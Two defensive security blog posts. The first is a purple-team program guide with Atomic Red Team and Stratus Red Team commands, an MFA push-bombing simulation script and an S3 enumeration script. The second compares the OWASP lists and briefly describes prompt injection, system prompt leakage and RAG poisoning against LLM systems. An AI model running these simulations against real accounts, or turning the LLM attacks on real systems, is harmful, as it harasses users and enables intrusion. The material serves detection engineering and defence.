Kubernetes

Continuous Purple Team Testing: Attack Simulations for Your Own Infrastructure

by
Reading Time: 15 minutes

What Is Purple Team? → OWASP Top 10 in the Cloud → Breach Landscape 2020–2025 → Broken Access Control → MFA Fatigue → CI/CD Secrets → SSRF to IMDS → Container Escape → Supply Chain Attacks → Cloud Lateral Movement → Detection Engineering with eBPF → Cloud IR Playbook → Continuous Purple Team Testing

TL;DR

  • Continuous purple team testing infrastructure is the practice of running structured attack simulations against your own environment on a quarterly cadence — not as an annual audit, but as an operational discipline
  • Detection time drops exercise-over-exercise when the same technique is simulated repeatedly: the same cross-account AssumeRole technique that took 4 hours to detect in Q4 took 8 minutes by Q2 the following year
  • The toolchain is open source: Atomic Red Team (ATT&CK-mapped) for host-level techniques, Stratus Red Team for cloud-native attack simulations, and custom scripts for what neither covers
  • The debrief template — not the tool — is what turns a simulation into a detection improvement; document what fired, what didn’t, and why before closing the exercise
  • Mean time to detect (MTTD) per technique is the only metric that tells you whether the program is working
  • Frequency of simulation is the independent variable; better tooling and more headcount are not — how often you practice determines how fast you detect

OWASP Mapping: Cross-cutting — this episode validates defenses against every OWASP Top 10 category covered in this series. EP04 (A01 Broken Access Control), EP05 (A07 Auth Failures), EP06 (A08 Software Integrity), EP07 (A10 SSRF), EP08 (A05 Misconfiguration), EP09 (A06 Vulnerable Components), EP10 (A01 lateral movement), EP11 (A09 Monitoring Failures). Continuous purple team testing is how you verify your fixes for all of them actually hold under simulation.

The Big Picture

┌─────────────────────────────────────────────────────────────────────┐
│              QUARTERLY PURPLE TEAM CYCLE                            │
│                                                                     │
│    ┌─────────┐    ┌──────────┐    ┌──────────┐    ┌─────────────┐  │
│    │  PLAN   │───▶│ SIMULATE │───▶│  DETECT  │───▶│   DEBRIEF   │  │
│    │         │    │          │    │  (or miss)│    │             │  │
│    │ • Scope │    │ Red runs │    │           │    │ What fired? │  │
│    │ • Safety│    │ technique│    │ Blue logs │    │ What didn't?│  │
│    │ • Week 1│    │ • Week 2 │    │ results   │    │ • Week 3    │  │
│    └─────────┘    └──────────┘    └──────────┘    └──────┬──────┘  │
│                                                           │         │
│         ┌─────────────────────────────────────────────────┘         │
│         │                                                           │
│         ▼                                                           │
│    ┌─────────┐    ┌──────────┐                                      │
│    │   FIX   │───▶│  REPEAT  │◀──── same technique, updated rules  │
│    │         │    │          │                                      │
│    │ • Rules │    │ Does it  │                                      │
│    │ • Config│    │ catch it │                                      │
│    │ • Week 4│    │ now?     │                                      │
│    └─────────┘    └──────────┘                                      │
│                                                                     │
│    OUTCOME: MTTD drops exercise-over-exercise                       │
│    When MTTD < 10 min: retire technique, rotate in the next one     │
└─────────────────────────────────────────────────────────────────────┘

Continuous purple team testing infrastructure is not a tool you buy or a team you staff. It is a cadence — the same attack path, run repeatedly against your own environment, until detection time drops to a point where the attacker has no useful dwell time.

From EP01 to EP13: The Arc

In EP01, I described a red team engagement where the blue team took 11 days to detect a compromise. The red team used real techniques. The blue team had all the relevant logs. The detection logic just wasn’t tuned to the specific patterns in this specific environment.

That was the same environment, the same attacker playbook, and the same blue team I am about to describe.

Six months later, same scope. Same techniques. The blue team detected in 22 minutes.

Not because they hired anyone new. Not because they switched SIEMs. Not because they bought a new detection product. Because in the intervening six months, they ran four purple team exercises — one per quarter — using the techniques from the first engagement as the test backlog.

Exercise 1: 11 days → 4 hours. Detection rule didn’t exist. Wrote it on the spot during debrief.

Exercise 2: 4 hours → 47 minutes. Rule existed but had a misconfigured threshold that generated false negatives. Fixed during debrief.

Exercise 3: 47 minutes → 38 minutes. Marginal improvement — the technique was becoming well-detected. Rotated in a new technique.

Exercise 4 (new technique): baseline 4+ hours. Same cycle begins.

The number 22 minutes — which is where the original technique sits now — is not a product of better tooling. It is the product of running the simulation four times and fixing the gap found each time.

That is the arc of this series. EP01 defined the practice. EP02 through EP12 gave you the attack backlog. EP13 gives you the program to run them.

Building the Exercise Program

Cadence: The Three Loops

Most organizations treat purple team as an event. An annual penetration test reframed as “collaborative.” One event per year produces one point of data. One point of data is not a trend.

The program that actually moves MTTD operates in three nested loops:

Quarterly exercises — full simulations with red executing and blue observing. Four per year minimum. Each exercise covers one attack path end-to-end, with timestamps, debrief, and detection rule updates. This is the primary loop.

Monthly tabletop drills — no infrastructure required. Two hours. Pull one technique from the backlog, walk through it verbally: “Where would this show up in our logs? What would the CloudTrail event look like? Do we have a rule? What’s the threshold?” No simulation, just shared mental model. Catches drift in detection logic before the quarterly exercise finds it the hard way.

Weekly detection rule reviews — 15-minute async. Run the detection queries that should fire for your most recent exercises. Do they still return results? Rules that worked in October can silently stop working in January when a Terraform apply changes a logging configuration or a GuardDuty region setting drifts. Drift happens without review.

The quarterly exercise is the load-bearing loop. Monthly tabletops and weekly reviews keep it from regressing between exercises.

The Four-Week Exercise Structure

Each quarterly exercise follows the same four-week structure. Deviating from it is how exercises turn into ad hoc sessions with no durable output.

Week 1: Scope Agreement
──────────────────────
□ Which attack path from this series are we testing?
□ Which systems are in scope (account IDs, namespaces, node names)?
□ Circuit breaker: who can call off the exercise and how?
  (One named person. A Slack DM or phone call — not a ticket.)
□ Safety controls: are test accounts isolated from prod data paths?
□ Notification: who needs to know this is happening?
  (Cloud provider account team if large-scale, internal leadership)
□ Pre-exercise baseline: run detection queries now and record results


Week 2: Red Executes, Blue Observes
────────────────────────────────────
□ Red team runs the technique — with the actual tool and actual commands
□ Blue team is watching the SIEM / CloudTrail / Falco / GuardDuty
  in real time during execution
□ Both sides timestamp everything:
  [HH:MM] Technique started
  [HH:MM] First observable artifact (log entry, network event)
  [HH:MM] Alert fired (or: no alert)
  [HH:MM] Blue team acknowledged
□ Do NOT wait until the end to compare notes — call out gaps in real time


Week 3: Debrief and Rule Update
────────────────────────────────
□ Walk through the timeline together — not red presenting to blue
□ For each gap: what data existed? why didn't the rule fire?
  (Data existed + rule wrong: fix the rule)
  (Data existed + rule missing: write the rule)
  (Data didn't exist: fix the logging configuration)
□ Write or update detection rules during the debrief — not as a follow-up ticket
□ Update the runbook: what does the analyst do when this alert fires?
□ Commit all rule changes to version control before the debrief ends


Week 4: Re-Run and Verify
──────────────────────────
□ Red runs the same technique again — no changes to the attack
□ Does the updated detection catch it?
□ Record new MTTD
□ If yes: mark technique as covered, add to retirement queue when MTTD < 10 min
□ If no: iterate — another week of rule work, another re-run
□ Set date and technique for next quarter's exercise

The re-run in Week 4 is not optional. A detection rule written during a debrief and never verified against the actual technique may be logically correct and syntactically wrong, or may fire on a slightly different variant. You don’t know until you run the attack again.

The 10-Attack Rotation from This Series

The techniques in this table are the exercise backlog built across EP04–EP12. Run them in order — or reorder based on your current threat model. The MTTD column is blank until you run the exercise and fill it in.

Quarter Attack Path Source Episode MTTD (Baseline) MTTD (After Exercise)
Q1 2026 SSRF to EC2 IMDS (IMDSv2 enforcement check) EP07 — —
Q2 2026 MFA fatigue simulation against test account EP05 — —
Q3 2026 Container escape via --privileged pod EP08 — —
Q4 2026 Cross-account sts:AssumeRole lateral movement EP10 — —
Q1 2027 CI/CD secrets exposure via environment variable leak EP06 — —
Q2 2027 S3 public access misconfiguration (broken access control) EP04 — —
Q3 2027 Supply chain: unsigned artifact injection into pipeline EP09 — —
Q4 2027 eBPF-visible process anomaly (persistence via cron) EP11 — —
Q1 2028 CloudTrail disable + GuardDuty suppression EP12 — —
Q2 2028 Full path: SSRF → IMDS → AssumeRole → S3 exfil EP07 + EP10 — —

Fill in the MTTD columns as you run. That table, populated over two years, is your program’s evidence of improvement. It is also what you show an auditor, a CISO, or a board when asked “how do you know your security controls work?”

The Toolchain

Atomic Red Team (ATT&CK-Mapped Host Techniques)

Atomic Red Team is Red Canary’s library of ATT&CK-mapped attack simulations. Each atomic test maps to a specific MITRE technique, lists the required permissions, and runs as a self-contained script. The library covers over 900 techniques across Linux, macOS, and Windows.

pwsh -Command "Install-Module -Name invoke-atomicredteam -Scope CurrentUser -Force"

# Install the Atomics folder (the actual test library)
pwsh -Command "Invoke-Expression (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)"

# List all techniques available for Linux
pwsh -Command "Invoke-AtomicTest All -ShowDetailsBrief -OS linux"

# Inspect a specific technique before running (T1078: Valid Accounts)
pwsh -Command "Invoke-AtomicTest T1078 -ShowDetails"

# Run test #1 for T1078 (shows what commands execute — dry run first)
pwsh -Command "Invoke-AtomicTest T1078 -TestNumbers 1 -CheckPrereqs"

# Execute the test
pwsh -Command "Invoke-AtomicTest T1078 -TestNumbers 1"

# Clean up after the test
pwsh -Command "Invoke-AtomicTest T1078 -TestNumbers 1 -Cleanup"

For the exercises in this series, the most relevant atomic techniques are:

MITRE Technique ID Covers
Valid Accounts T1078 EP05 (credential reuse)
Cloud Instance Metadata API T1552.005 EP07 (IMDS access)
Container Administration Command T1609 EP08 (exec into container)
Steal Application Access Token T1528 EP06 (CI/CD token theft)
Account Discovery T1087.004 EP04, EP10 (IAM enumeration)

Stratus Red Team (Cloud-Native Attack Simulations)

Stratus Red Team is DataDog’s cloud-specific attack simulation framework. Unlike Atomic Red Team (which focuses on host techniques), Stratus covers AWS, GCP, Azure, and Kubernetes attack paths using the actual cloud APIs — the same calls an attacker would make.

# Install (requires Go 1.21+)
go install github.com/DataDog/stratus-red-team/v2/cmd/stratus@latest

# Verify
stratus version

# List all available techniques
stratus list

# List AWS-specific techniques only
stratus list --platform aws

# List Kubernetes techniques
stratus list --platform kubernetes

# Get details on a specific technique before running
stratus show aws.credential-access.ec2-get-user-data

The workflow for each Stratus technique is: warm up (provision prerequisites) → detonate (execute the attack) → cleanup (remove artifacts). Never skip cleanup.

# EP07 exercise: SSRF to IMDS credential access simulation
# Warm up (provisions a test EC2 instance)
stratus warmup aws.credential-access.ec2-get-user-data

# Detonate: simulates accessing EC2 user data to extract credentials
stratus detonate aws.credential-access.ec2-get-user-data

# At this point: check CloudTrail for GetUserData events
# Check GuardDuty for credential access findings
# Record whether your detection fired and when

# Cleanup (terminates the test instance)
stratus cleanup aws.credential-access.ec2-get-user-data

# EP10 exercise: cross-account role assumption
stratus warmup aws.lateral-movement.ec2-instance-connect
stratus detonate aws.lateral-movement.ec2-instance-connect

# Detection check: look for AssumeRole events from unexpected principals
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AssumeRole \
  --start-time $(date -d '1 hour ago' -u +%Y-%m-%dT%H:%M:%SZ) \
  --query 'Events[].{Time:EventTime,User:Username,Source:SourceIPAddress}' \
  --output table

stratus cleanup aws.lateral-movement.ec2-instance-connect

# EP08 exercise: Kubernetes container escape simulation
stratus warmup k8s.privilege-escalation.privileged-pod
stratus detonate k8s.privilege-escalation.privileged-pod

# Detection check: Falco should fire container_escape_detection
# Check kubectl audit logs for privileged pod creation
kubectl get events --field-selector reason=Created -A | grep -i privileged

stratus cleanup k8s.privilege-escalation.privileged-pod

The full Stratus technique list as of this writing covers 50+ AWS techniques and 10+ Kubernetes techniques. Run stratus list after installing to see what’s current — the library is actively maintained and new techniques are added when new attack patterns emerge in the wild.

Building Custom Simulation Scripts

Atomic Red Team and Stratus don’t cover everything. MFA fatigue in particular requires tooling specific to your identity provider. Build simple, focused scripts for the gaps.

#!/bin/bash
# simulate-mfa-fatigue.sh
# Simulates an MFA fatigue attack by triggering repeated push notifications
# to a test account. Run ONLY against a designated test user — never a real
# employee account. The test account should have MFA enabled but no access
# to any production systems.
#
# Usage: ./simulate-mfa-fatigue.sh <test-user-email> <idp-test-api-endpoint>
# Example: ./simulate-mfa-fatigue.sh [email protected] https://idp.internal/test/push

TEST_USER="${1:[email protected]}"
IDP_ENDPOINT="${2:-}"
PUSH_COUNT=10
PUSH_INTERVAL=30  # seconds between pushes

if [ -z "$IDP_ENDPOINT" ]; then
  echo "ERROR: IDP test API endpoint required as second argument"
  exit 1
fi

echo "MFA fatigue simulation"
echo "Target user: $TEST_USER"
echo "Push count: $PUSH_COUNT"
echo "Interval: ${PUSH_INTERVAL}s"
echo ""
echo "Blue team: watch for repeated MFA push events in your IdP logs"
echo "Detection signal: >3 push requests to the same user within 5 minutes"
echo ""

START_TIME=$(date -u +%Y-%m-%dT%H:%M:%SZ)
echo "[$(date -u +%H:%M:%S)] Simulation started — timestamp this for your debrief"

for i in $(seq 1 $PUSH_COUNT); do
  echo "[$(date -u +%H:%M:%S)] Sending push request $i of $PUSH_COUNT..."

  # Trigger push via your IdP's test/simulation API
  # Okta example: POST /api/v1/authn/factors/{factorId}/verify
  # Replace with your IdP's actual test endpoint
  HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "$IDP_ENDPOINT" \
    -H "Content-Type: application/json" \
    -d "{\"username\": \"$TEST_USER\", \"factor\": \"push\", \"simulation\": true}")

  echo "    Response: HTTP $HTTP_STATUS"

  if [ "$i" -lt "$PUSH_COUNT" ]; then
    sleep "$PUSH_INTERVAL"
  fi
done

END_TIME=$(date -u +%Y-%m-%dT%H:%M:%SZ)
echo ""
echo "[$(date -u +%H:%M:%S)] Simulation complete"
echo "Start: $START_TIME"
echo "End:   $END_TIME"
echo ""
echo "Blue team: check IdP logs for push events in this window"
echo "Expected detection: alert on >3 MFA pushes to single user in 5 min"

#!/bin/bash
# simulate-s3-enum.sh
# Simulates the access pattern of an attacker enumerating S3 buckets
# after obtaining IAM credentials. Run in a test AWS account only.
# Purpose: verify CloudTrail ListBuckets and GetBucketAcl events fire
# and that your detection rule catches credential-based enumeration.

echo "[$(date -u +%H:%M:%S)] S3 enumeration simulation starting"
echo "Blue team: watch CloudTrail for ListBuckets from unexpected IAM principal"

# Enumerate buckets
echo "[$(date -u +%H:%M:%S)] ListBuckets..."
aws s3api list-buckets --query 'Buckets[].Name' --output text

# Attempt to read bucket ACLs (generates GetBucketAcl events)
echo "[$(date -u +%H:%M:%S)] Checking ACLs..."
aws s3api list-buckets --query 'Buckets[].Name' --output text | \
  tr '\t' '\n' | \
  while read -r bucket; do
    aws s3api get-bucket-acl --bucket "$bucket" 2>/dev/null | \
      jq -r '.Grants[].Grantee | select(.URI != null) | .URI' | \
      grep -q "AllUsers" && echo "PUBLIC ACL: $bucket"
  done

echo "[$(date -u +%H:%M:%S)] Enumeration complete — check CloudTrail now"

The pattern for custom scripts: timestamp every action, print what the blue team should be watching for, clean up after execution. A simulation script that leaves test resources running is how exercises create incidents instead of preventing them.

Measuring Progress

The metric that matters is MTTD per technique, tracked over time. Everything else — alert count, tool coverage, headcount — is a proxy.

MTTD tracking table: Cross-Account AssumeRole (EP10)
─────────────────────────────────────────────────────
Exercise   Date      Technique              MTTD      Notes
─────────────────────────────────────────────────────
Q4 2025    Oct 12    Cross-acct AssumeRole  4 hours   No detection rule existed
Q1 2026    Jan 18    Cross-acct AssumeRole  45 min    Rule written, threshold wrong
Q2 2026    Apr 5     Cross-acct AssumeRole  8 min     Threshold fixed, alert configured
─────────────────────────────────────────────────────
Status: MTTD < 10 min achieved — technique retired from rotation
Next: Rotate in CI/CD secrets exposure (EP06)

When MTTD falls below 10 minutes for a technique, retire it from the quarterly rotation. Add it to a “verified coverage” list. Run it annually to confirm the detection hasn’t regressed. Rotate a new technique from the backlog into the quarterly slot.

Ten minutes is the threshold because below that, an attacker executing this technique in your environment has less dwell time than it takes them to pivot to the next stage. It’s not a hard security boundary — it is a practical operational signal that the technique is well-detected enough to stop driving your exercise cadence.

Track coverage at the series level:

# Create a coverage tracking file
cat > ~/purple-team-coverage.txt << 'EOF'
Technique                      Episode  Status          MTTD
──────────────────────────────────────────────────────────────
S3 public access (broken ACL)  EP04     Not started     —
MFA fatigue                    EP05     Not started     —
CI/CD secrets (env var leak)   EP06     Not started     —
SSRF to IMDS                   EP07     Not started     —
Container escape (privileged)  EP08     Not started     —
Supply chain (unsigned build)  EP09     Not started     —
Cross-account AssumeRole       EP10     Not started     —
Process anomaly (eBPF-visible) EP11     Not started     —
CloudTrail disable             EP12     Not started     —
Full chain (EP07 + EP10)       EP07+10  Not started     —
EOF

Update the status column after each exercise. “Not started” → “In rotation” → “MTTD: X min” → “Retired (< 10 min)”. That file, kept in version control, is the program’s durable record.

The Debrief Template

The debrief is where the detection improvement happens. Without structure, debriefs turn into post-mortems that produce action items nobody closes. Use this template — fill it out during the debrief, not after.

# Purple Team Exercise Debrief

Exercise:      [name, e.g. "SSRF to IMDS — Q1 2026"]
Date:          [YYYY-MM-DD]
Attack path:   [from which EP, e.g. "EP07: SSRF to Cloud Metadata"]
Participants:  [red team members] / [blue team members]

## Timeline

| Time (UTC) | Event |
|------------|-------|
| HH:MM      | Attack started |
| HH:MM      | First observable artifact (specify: log entry / network event / process spawn) |
| HH:MM      | Alert fired in [tool] — or: no alert |
| HH:MM      | Blue team acknowledged |
| HH:MM      | Exercise concluded |

MTTD this exercise: [X hours / Y minutes / not detected]

## What Fired

- [Tool]: [Alert name / rule name] — fired at [HH:MM], [latency] after attack started
- [Tool]: [Alert name] — fired at [HH:MM]

## What Should Have Fired and Didn't

- [Expected detection] — root cause: [rule missing / rule wrong / data missing / log not ingested]
- [Expected detection] — root cause: [...]

## Root Cause of Gaps

1. [Gap 1]: [Why the detection didn't exist or didn't work — be specific]
2. [Gap 2]: [...]

## Actions

- [ ] Write detection rule for [gap] — owner: [name] — due: [date]
- [ ] Update runbook [X] to include response steps for [alert] — owner: [name]
- [ ] Fix configuration: [Y] — owner: [name] — due: [date]
- [ ] Commit all rule changes to [repo/path] — owner: [name] — due: today

## Re-Run Result (Week 4)

Date:          [YYYY-MM-DD]
MTTD:          [X minutes]
Detection:     [fired / did not fire]
Notes:         [what changed, what's still open]

## Next Exercise

Date:          [target quarter start]
Technique:     [from backlog]
Source:        [EP number]

The most important line in this template is “due: today” for committing rule changes to version control. Detection improvements that live only in the SIEM’s web UI get overwritten by the next infrastructure apply or the next policy sync. They disappear without a trace, and the next exercise finds the same gap again.

Series Closer: What This Series Taught

Looking back across all 13 episodes:

  • EP01 — Purple team is a practice, not a team. Red executes, blue observes, both debrief together.
  • EP02 — OWASP Top 10 applies to infrastructure. Every category has a cloud-native equivalent.
  • EP03 — The 2020–2025 breach landscape is three themes: identity, supply chain, misconfiguration.
  • EP04 — Broken access control is the most common failure. IAM wildcards and public S3 buckets are the infrastructure form.
  • EP05 — MFA fatigue exploits push-based MFA UX. The fix is hardware keys — not training.
  • EP06 — Secrets in CI/CD pipelines are structural, not behavioral. Pre-commit hooks and SAST scanning are the fix.
  • EP07 — IMDSv1 has no authentication. Any SSRF anywhere is a straight line to IAM credentials.
  • EP08 — --privileged erases the boundary between container and host. Two commands from compromised pod to root on the node.
  • EP09 — Supply chain attacks target the trust chain, not the code. XZ Utils was two years of social engineering.
  • EP10 — Cloud lateral movement is IAM trust misconfiguration, not network pivoting. One overly broad sts:AssumeRole trust policy is enough.
  • EP11 — eBPF sees what CloudTrail doesn’t — kernel-level process and network events in real time, before the attacker’s process exits.
  • EP12 — Incident response quality is inversely proportional to how much you practiced it. The organizations that contain in 4 hours practiced containing in 4 hours.
  • EP13 — Frequency of simulation is the variable that changes detection time.

Every attack in this series exploited something that existed before the attacker arrived. The attacker didn’t create the IAM wildcard, the ungated CI/CD pipeline, the privileged pod, or the IMDSv1 endpoint. They found what was already there.

Purple team is how you find it first.

That’s the entire premise. Thirteen episodes to demonstrate it across ten attack paths. The practice is now yours to run.

What’s Next — Cross-Series

The Purple Team Playbook ends here, but the technical depth that makes it work lives in three other series running in parallel on linuxcent.com:

Kernel-level detection — the eBPF: From Kernel to Cloud series covers everything from kernel hooks and BPF maps to Cilium and runtime security with Tetragon. EP11 in this series referenced eBPF detection; the eBPF series is where the implementation depth lives.

Hardened base images — closing the OS-level attack surface that EP08 and EP09 in this series exploited starts at image build time. The hardened image pipeline gate post covers building signed, minimal base images that eliminate entire attack surface categories before the container ever starts.

The identity layer — every attack in this series ultimately had an IAM component: the overly permissive role, the wildcard policy, the cross-account trust boundary that was too broad. What Is Cloud IAM starts the 12-episode Cloud IAM series that maps the identity architecture underpinning all of it.

These series are designed to be read in parallel — techniques that appear as one-line references in this series get full treatment in the others. The eBPF series covers TC hooks and bpftrace in the depth that EP11 introduced. The IAM series covers sts:AssumeRole trust policies in the depth that EP10 referenced.

Get notified when the next series starts → linuxcent.com/subscribe

⚠ Production Gotchas

Test account isolation is not optional. Every simulation in this series should run in a dedicated AWS account (or GCP project / Azure subscription) with no trust relationships to production accounts. One stratus detonate command that runs in a prod account and modifies IAM trust policies is an incident, not an exercise. The cost of a test account is zero compared to the cost of a real incident.

Stratus leaves state. If you interrupt a stratus detonate run, the warmup infrastructure is still running and costing you money. Always run stratus cleanup even after an interrupted exercise. Add it to a trap in your exercise runbook.

Detection rules written during debriefs may use syntax your SIEM doesn’t support. Rule logic written in a 30-minute debrief window gets reviewed quickly. Run each new rule against 30 days of historical logs before relying on it. A rule that has never matched against known-bad historical data may have a quiet logic error.

Alerting ≠ detection. A rule that fires but routes to a queue no one monitors is not a detection. The debrief template asks “alert fired in [tool]” — confirm the alert also appeared in a queue that an on-call engineer would have seen. Route validation is part of the exercise.

Scope creep kills exercises. The first quarter an exercise runs long, someone proposes “let’s just add two more techniques since we have time.” Don’t. Four well-documented techniques with full debrief and verified re-runs beat ten half-documented techniques with action items that never close. Keep the scope tight. Add techniques by rotating them into the next quarter’s slot.

Quick Reference

Component What It Is When to Use
Atomic Red Team ATT&CK-mapped host technique library Host-level techniques: process execution, credential access, persistence
Stratus Red Team Cloud-native attack simulations AWS/GCP/Azure/K8s API-based attack paths
Custom scripts Org-specific simulations MFA fatigue, IdP-specific attacks, internal tool abuse
MTTD Mean time to detect — measured per technique Primary metric; track over time per technique
Circuit breaker Named person who can halt an exercise Safety control; must be identified in Week 1
Debrief template Structured post-exercise documentation Filled during debrief, committed to version control same day
Retirement threshold MTTD < 10 minutes When to rotate a technique out of quarterly rotation
Coverage list Techniques with verified detections Auditable record of what your program has validated

Key Takeaways

  • Continuous purple team testing infrastructure means running the same attack paths quarterly — not annually — until MTTD per technique drops below 10 minutes
  • The four-week exercise structure (scope → simulate → debrief → re-run) is the unit of work; deviating from it is how exercises produce action items instead of detection improvements
  • Atomic Red Team covers ATT&CK-mapped host techniques; Stratus Red Team covers cloud-native attack simulations; custom scripts cover what neither does
  • The debrief template — filled in during the session, committed to version control before the session ends — is what separates exercises that improve detection from exercises that produce unread reports
  • MTTD < 10 minutes for a technique means retire it and rotate in the next one from the backlog this series gave you
  • The frequency of simulation is the variable that changes detection time. Not the tools. Not the headcount. How often you practice.

The Four OWASP Lists: Web App, API, Cloud-Native, and LLM Compared

by
Reading Time: 8 minutes

OWASP Top 10 History → The Four OWASP Lists → Why Classic OWASP Breaks for LLMs → OWASP LLM Top 10 2025

TL;DR

  • OWASP LLM Top 10 vs OWASP Top 10: four separate lists, four separate attack surfaces — they share underlying failure classes but differ entirely in what the attacker actually does
  • If your system has a web frontend: Web App Top 10 (2021) applies
  • If your system exposes REST or GraphQL APIs: API Security Top 10 (2023) applies
  • If your workloads run on Kubernetes or containers: Cloud-Native App Security Top 10 applies
  • If your system includes an LLM component — even a third-party API call: LLM Top 10 (2025) applies
  • A RAG-based chatbot deployed on Kubernetes behind an API gateway touches all four lists simultaneously — and the attack paths at each layer are different

OWASP Mapping: Orientation episode. This post maps all four OWASP lists to their respective attack surfaces. Subsequent episodes (EP05–EP14) cover each OWASP LLM Top 10 category in depth with Red/Detect/Defend structure.

The Big Picture

WHICH OWASP LIST APPLIES TO YOUR ARCHITECTURE?

Your system component          Applicable OWASP List
──────────────────────────────────────────────────────
Web frontend / rendered HTML   Web App Top 10 (2021)
  └─ XSS, CSRF, clickjacking
  └─ Broken auth, session mgmt

REST/GraphQL API endpoint      API Security Top 10 (2023)
  └─ BOLA/IDOR, mass assignment
  └─ Excessive data exposure
  └─ Unrestricted resource use

Container / Kubernetes workload  Cloud-Native App Sec Top 10
  └─ Misconfigured workloads    (+ Purple Team series)
  └─ Vulnerable images
  └─ Runtime compromise

LLM / AI component             LLM Applications Top 10 (2025)
  └─ Prompt injection          ← this series
  └─ Model/data poisoning
  └─ RAG attacks, agent risks

──────────────────────────────────────────────────────
A single RAG chatbot on K8s behind an API gateway
touches ALL FOUR LISTS at the same time.

If you are deploying an LLM in production, all four lists apply. The question is not which one to use — it’s which part of your system falls under which list, and whether your security coverage has gaps between them.

The Web App Top 10 (2021): The Baseline

The original list. Covers HTTP-layer attacks on applications that serve content or handle user sessions.

What it addresses: Cross-site scripting, SQL injection, broken session management, insecure design at the application layer, misconfigured servers, vulnerable dependencies, server-side request forgery.

What it does not address: How an API client authenticates without a user session. How a Kubernetes workload is compromised at runtime. How an LLM misinterprets user input as an instruction. The 2021 list is the floor — it’s the minimum security bar for anything web-facing.

Primary tool class: DAST (Dynamic Application Security Testing) — OWASP ZAP, Burp Suite. SAST for source-level issues.

When this applies to your LLM system: The web frontend that wraps your chatbot. The admin UI for your AI pipeline. Any HTTP-facing surface — even if the backend is entirely LLM-powered.

The API Security Top 10 (2023): The API Layer

REST and GraphQL introduced attack surfaces that the web app list missed. The API Security Top 10 was published in 2019 and updated in 2023 precisely because API-specific attacks were not adequately covered.

Top categories:
– API1: Broken Object Level Authorization (BOLA/IDOR) — the most prevalent API vulnerability; accessing other users’ resources by changing an ID in the request
– API3: Broken Object Property Level Authorization — returning or accepting more data than the authenticated principal should see (replaces “Excessive Data Exposure” from 2019)
– API4: Unrestricted Resource Consumption — rate limiting gaps that enable abuse or DoS via API
– API6: Unrestricted Access to Sensitive Business Flows — no concept of “business logic” in the web app list; APIs expose workflows directly

What it does not address: Model-level behavior. Training-time attacks. Natural language injection. The API Security list treats the model as a black box behind an endpoint.

Why it matters for LLM systems: Your LLM is almost certainly accessed via an API — either a first-party API you built or a third-party API (OpenAI, Anthropic, Bedrock) you call. The API Security list covers that integration layer. An attacker who exploits BOLA against your API doesn’t need to understand prompt injection — they just need to change a user ID in the request.

The Cloud-Native App Security Top 10: The Infrastructure Layer

Containers, Kubernetes, microservices, and cloud-managed services introduced an orchestration layer that neither the web app list nor the API list covered.

Scope: Insecure workload configurations, insufficient network segmentation between microservices, vulnerable or unverified container images, over-permissioned service accounts, exposed cluster management interfaces.

What it does not address: What runs inside the container. If that container runs an LLM, the model’s behavior — prompt injection, system prompt leakage, RAG poisoning — is outside the cloud-native list’s scope.

Why it matters for LLM systems: LLM inference runs on infrastructure. If the pod running your model inference has an over-permissioned service account, an attacker who exploits the model doesn’t need to do anything sophisticated — they can use the pod’s IAM permissions to move laterally. The LLM is the initial access vector; the cloud-native misconfig is the blast radius.

For depth on cloud-native OWASP mapping, see OWASP Top 10 mapped to cloud infrastructure in the Purple Team series. This episode covers the concept; that series covers the attack paths.

The LLM Applications Top 10 (2025): The Model Layer

The attack surface that exists because of the model — not at the web layer, not at the API layer, not at the infrastructure layer, but in the probabilistic behavior of the language model itself and the systems it connects to.

The 10 categories:

# Category What It Covers
LLM01 Prompt Injection Attacker input hijacks model behavior — direct or via retrieved content
LLM02 Sensitive Information Disclosure Model leaks training data, PII, API keys, system prompts via output
LLM03 Supply Chain Compromised model weights, plugins, datasets, or fine-tuning pipelines
LLM04 Data and Model Poisoning Training or fine-tuning data manipulated to introduce backdoors
LLM05 Improper Output Handling Downstream systems consume model output without validation
LLM06 Excessive Agency Autonomous agent tools not scoped to least capability
LLM07 System Prompt Leakage Extraction of hidden system prompt instructions
LLM08 Vector and Embedding Weaknesses RAG vector store poisoning or access control gaps
LLM09 Misinformation Model generates false information presented as fact
LLM10 Unbounded Consumption Uncontrolled token, compute, or API cost consumption

What this list does not cover: The API through which you call the model (that’s the API Security list). The Kubernetes workload running the inference server (that’s the cloud-native list). The web UI that wraps the chatbot (that’s the web app list). The LLM Top 10 is specifically the model-layer attack surface.

Injection Across All Four Lists: A Comparison

“Injection” appears in all four lists. The word is the same. The attack is completely different.

List Category Injection Type Defense
Web App A03 Injection SQL, OS commands, LDAP — structured language injected via HTTP input Parameterized queries, input validation, prepared statements
API Security API8 Security Misconfiguration Mass assignment / property injection — attacker sets fields that should not be writable Input allowlisting, schema validation, explicit field binding
Cloud-Native C4 Insecure Workload Config Environment variable / config injection — attacker controls what gets injected into container at start Immutable config, sealed secrets, workload admission control
LLM Applications LLM01 Prompt Injection Natural language injected into model context — attacker controls what the model interprets as instruction No structural equivalent; requires guardrails, intent classification, output scanning

The web app defense (parameterized queries) works because you can structurally separate data from code. SQL parsers don’t execute string literals as SQL commands. The LLM defense is fundamentally different because the model has no structural boundary between “user data” and “instruction.” Natural language IS the programming language. This is why LLM01 remains the most exploited category and the most difficult to remediate — not because engineers aren’t trying, but because the separation that makes SQL injection solvable doesn’t exist in natural language processing.

Architecture Coverage Map: RAG Chatbot on Kubernetes

Take a concrete system: a customer-facing RAG chatbot deployed on Kubernetes, calling an external LLM API, indexing internal documents in a vector database, with a React frontend and a FastAPI backend.

ATTACK SURFACE MAP

React Frontend            ← Web App Top 10
  └─ XSS, CSRF, clickjacking
  └─ Broken auth (session management)

FastAPI Backend (REST)    ← API Security Top 10
  └─ BOLA: can user A retrieve user B's documents?
  └─ Excessive data exposure in API responses
  └─ Rate limiting on LLM API calls

Kubernetes Cluster        ← Cloud-Native Top 10
  └─ Service account permissions on vector DB pod
  └─ Container image vulnerabilities
  └─ Network policy: can inference pod call anything?

LLM Component             ← LLM Applications Top 10
  └─ Prompt injection via user input (LLM01)
  └─ System prompt leakage (LLM07)
  └─ Vector DB poisoning via document upload (LLM08)
  └─ Agent over-permission on retrieval tools (LLM06)
  └─ Sensitive data in indexed documents leaks (LLM02)

GAPS (attack paths that cross list boundaries):
  Injected prompt → agent calls API endpoint → BOLA
  Compromised K8s service account → access vector DB → LLM08
